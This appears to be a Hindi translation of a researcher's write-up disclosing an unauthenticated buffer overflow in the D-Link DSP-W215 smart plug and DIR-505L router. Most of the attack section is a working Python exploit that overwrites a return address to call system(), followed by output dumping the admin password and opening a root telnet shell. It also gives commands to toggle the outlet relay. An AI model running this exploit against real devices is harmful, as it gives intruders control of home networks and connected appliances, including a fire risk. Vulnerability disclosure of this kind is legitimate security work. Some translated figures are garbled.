हैक डी-लिंक डीएसपी-डब्ल्यू 2 15 स्मार्ट प्लग

छवि

डी-लिंक DSP-W215 स्मार्ट प्लग विद्युत आउटलेट की निगरानी और नियंत्रण के लिए एक वायरलेस डिवाइस है। इसे अभी तक अमेज़ॅन या सर्वश्रेष्ठ खरीदें स्टोर पर नहीं खरीदा जा सकता है, लेकिन फर्मवेयर डी-लिंक वेबसाइट पर डाउनलोड के लिए पहले से ही उपलब्ध है।



TL; DR : DSP-W215 में एक बफर अतिप्रवाह त्रुटि होती है जो एक अनधिकृत उपयोगकर्ता को डिवाइस को पूरी तरह से नियंत्रित करने की अनुमति देती है, जिसमें आउटलेट भी शामिल है।



लिनक्स पर एम्बेडेड सिस्टम के लिए डिवाइस का फर्मवेयर पूरी तरह से मानक है:

छवि



फर्मवेयर को अनपैक करने के बाद, मैंने पाया कि इस डिवाइस में सामान्य वेब इंटरफ़ेस नहीं है - इसे केवल iOS और Android के लिए एक विशेष एप्लिकेशन के माध्यम से कॉन्फ़िगर किया जा सकता है। और ऐसा लगता है कि यह एप्लिकेशन स्मार्ट प्लग के साथ संचार करने के लिए होम नेटवर्क एडमिनिस्ट्रेशन प्रोटोकॉल का उपयोग करता है।



क्योंकि HNAP SOAP प्रोटोकॉल पर आधारित है, इसे लाइटटैप सर्वर द्वारा नियंत्रित किया जाता है, और इसकी कॉन्फ़िगरेशन फ़ाइल के एक टुकड़े से यह समझना आसान है कि CGI एप्लिकेशन /www/my_cgi.cgi HAPAP अनुरोधों को संसाधित करने में शामिल है:

... alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi", "/HNAP1" => "/www/my_cgi.cgi", ...
      
      







हालाँकि HNAP को प्रमाणीकरण की आवश्यकता होती है, कुछ कार्य, अर्थात् GetDeviceSettings, को इसकी आवश्यकता नहीं होती है।

छवि



GetDeviceSettings केवल संभावित कार्यों की एक सूची दे सकता है और अपने आप कुछ भी नहीं कर सकता है, लेकिन इसका मतलब है कि my_cgi.cgi प्रमाणीकरण सत्यापित होने से पहले अनुरोध को पार्स करता है।



HNAP अनुरोधों को my_cgi.cgi में do_hnap फ़ंक्शन द्वारा नियंत्रित किया जाता है। क्योंकि HNAP क्रियाओं को HTTP POST अनुरोधों के रूप में भेजा जाता है, do_hnap फ़ंक्शन पहले सामग्री-लंबाई हेडर को संसाधित करता है:

छवि



और फिर, जैसे कि कुछ भी नहीं हुआ था, यह अनुरोध निकाय को स्टैक पर एक निश्चित आकार के बफर में पढ़ता है:

छवि



 int content_length, i; char *content_length_str; char post_data_buf[500000]; content_length = 0; content_length_str = getenv("CONTENT_LENGTH"); if(content_length_str) { content_length = strtol(content_length_str, 10); } memset(post_data_buf, 0, 500000); for(i=0; i<content_length; i++) { post_data_buf[i] = fgetc(); }
      
      







यह स्पष्ट हो जाता है, यदि आप परेशान दिखते हैं, कि बफर केवल 500,000 बाइट्स के लिए है। एक POST अनुरोध जिसमें 500,000 से अधिक बाइट शामिल हैं, बफर को ओवरफ्लो करेगा, लेकिन क्योंकि स्टैक पर अन्य चर हैं, यह वापसी पता को अधिलेखित करने के लिए 10,00020 बाइट्स लेता है:

 # Overflow $ra with 0x41414141 perl -e 'print "D"x1000020; print "A"x4' > overflow.txt wget --post-file=overflow.txt http://192.168.0.60/HNAP1/
      
      





छवि



लेकिन मज़े की बात यह है कि अनुरोध हैंडलर fgetc का उपयोग कर एक पाश में बफर के लिए POST अनुरोध के शरीर को पढ़ता है, इसलिए कोई "खराब" बाइट्स नहीं हैं - हम इसे किसी भी बाइट को पास कर सकते हैं, यहां तक ​​कि नल बाइट्स भी। यह बहुत अच्छा है क्योंकि my_cgi.cgi में 0x00405CAC पर कोड है जो $ a0 (फ़ंक्शन के पहले तर्क का रजिस्टर) को एक पॉइंटर के साथ स्टैक ($ sp + 0 × 28) और कॉल सिस्टम () में लोड करता है:

छवि



इसलिए हमें केवल 0x00405CAC पर वापसी पते को फिर से लिखना होगा और उस कमांड को रखना होगा जिसे हमें 0 × 28 ऑफसेट पर स्टैक पर निष्पादित करने की आवश्यकता है:

 import sys import urllib2 command = sys.argv[1] buf = "D" * 1000020 # Fill up the stack buffer buf += "\x00\x40\x5C\xAC" # Overwrite the return address on the stack buf += "E" * 0x28 # Stack filler buf += command # Command to execute buf += "\x00" # NULL terminate the command string req = urllib2.Request("http://192.168.0.60/HNAP1/", buf) print urllib2.urlopen(req).read()
      
      







इससे भी बेहतर होगा कि आप उम्मीद करें - कमांड का स्टैडआउट जो आप प्रतिक्रिया में रिटर्न चला रहे हैं:

 eve@eve:~$ ./exploit.py 'ls -l /' drwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 bin drwxrwxr-x 3 1000 1000 4096 May 9 16:04 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 Jan 14 14:16 lib drwxr-xr-x 3 1000 1000 4096 Jan 14 14:16 libexec lrwxrwxrwx 1 1000 1000 11 May 9 16:01 linuxrc -> bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 7 1000 1000 4096 May 9 15:44 mnt drwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 9 17:49 root drwxr-xr-x 2 1000 1000 4096 Jan 14 14:16 sbin drwxrwxr-x 3 1000 1000 4096 May 15 04:27 tmp drwxrwxr-x 7 1000 1000 4096 Jan 14 14:16 usr drwxrwxr-x 3 1000 1000 4096 May 9 16:04 var -rw-r--r-- 1 1000 1000 17 Jan 14 14:16 version drwxrwxr-x 8 1000 1000 4096 May 9 16:52 www
      
      







आप कॉन्फ़िगरेशन और व्यवस्थापक पासवर्ड को डंप कर सकते हैं:

 eve@eve:~$ ./exploit.py 'nvram show' | grep admin admin_user_pwd=200416 admin_user_tbl=0/admin_user_name/admin_user_pwd/admin_level admin_level=1 admin_user_name=admin storage_user_00=0/admin//
      
      







या टेलनेट को चलाएं और एक पूर्ण शेल प्राप्त करें।

 eve@eve:~$ ./exploit.py 'busybox telnetd -l /bin/sh' eve@eve:~$ telnet 192.168.0.60 Trying 192.168.0.60... Connected to 192.168.0.60. Escape character is '^]'. BusyBox v1.01 (2014.01.14-12:12+0000) Built-in shell (ash) Enter 'help' for a list of built-in commands. / #
      
      







My_cgi.cgi में थोड़ा गहरा खुदाई करने के बाद, मैंने पाया कि सॉकेट को बंद करने या चालू करने के लिए सभी आवश्यक है / var / sbin / relay:

 /var/sbin/relay 1 # Turns outlet on /var/sbin/relay 0 # Turns outlet off
      
      







आप पलक झपकने के लिए एक छोटी सी स्क्रिप्ट लिख सकते हैं:

 #!/bin/sh OOK=1 while [ 1 ] do /var/bin/relay $OOK if [ $OOK -eq 1 ] then OOK=0 else OOK=1 fi done
      
      







आउटलेट प्रबंधन के और अधिक गंभीर परिणाम हो सकते हैं, जैसा कि डी-लिंक विज्ञापन में कहा गया है:

छवि

डी-लिंक से भ्रामक विज्ञापन



हालाँकि स्मार्ट प्लग खुद को ओवरहीटिंग का पता लगाने में सक्षम हो सकता है, मुझे संदेह है कि यह केवल खुद को ओवरहीटिंग का पता लगाता है, क्योंकि आउटलेट से जुड़े डिवाइस के तापमान को निर्धारित करने का कोई तरीका नहीं है। इसलिए, यदि आपने स्मार्ट प्लग से जुड़े हीटर को छोड़ दिया है, और कुछ डरपोक व्यक्ति चुपके से इसे चालू करता है, तो आपके पास एक खराब दिन होगा।



यह स्पष्ट नहीं है कि स्मार्ट प्लग खुद को बाहरी रूप से सुलभ बनाने की कोशिश कर रहा है (उदाहरण के लिए, UPnP के माध्यम से पोर्ट को अग्रेषित करके) या नहीं, क्योंकि एंड्रॉइड ऐप बस काम नहीं करता है। मैं एंड्रॉइड के माध्यम से स्मार्ट प्लग के शुरुआती कनेक्शन को स्थापित नहीं कर सका, हालांकि मैं लैपटॉप के माध्यम से सफल हुआ। हालांकि, अंत में, मुझे MyDlink में रिमोट एक्सेस के लिए एक खाता बनाते समय एक बहुत विस्तृत त्रुटि मिली: "खाता बनाने में असमर्थ।" यद्यपि यह सेटअप के अंत में कहा गया था कि स्मार्ट प्लग को मेरे वायरलेस नेटवर्क से कनेक्ट करने के लिए कॉन्फ़िगर किया गया था, यह किसी भी नेटवर्क से कनेक्ट नहीं हुआ था, और प्रारंभिक कॉन्फ़िगरेशन के लिए उपयोग किया जाने वाला एक्सेस प्वाइंट खो गया था। क्योंकि वाई-फाई टूट गया है, और ईथरनेट गायब है, मैंने डिवाइस के साथ पूरी तरह से कनेक्शन खो दिया है। अरे हाँ, डिवाइस पर कोई हार्ड रीसेट बटन नहीं है। खैर, ठीक है, वैसे भी, मैं इसे फेंकने जा रहा था।



मुझे संदेह है कि इस उपकरण को खरीदने वाले हर व्यक्ति को यह काम करने के लिए नहीं मिल सकता है, जो शायद अपने आप में अच्छा है। किसी भी मामले में, मुझे इस तरह के उपकरण को अपने नेटवर्क या मेरे घरेलू उपकरणों से जोड़ने में डर लगेगा।



वैसे, डी-लिंक डीआईआर-505 एल राउटर भी इस बग के अधीन है, क्योंकि my_cgi.cgi की लगभग सटीक प्रतिलिपि है।



दोनों उपकरणों के लिए PoC यहाँ है



All Articles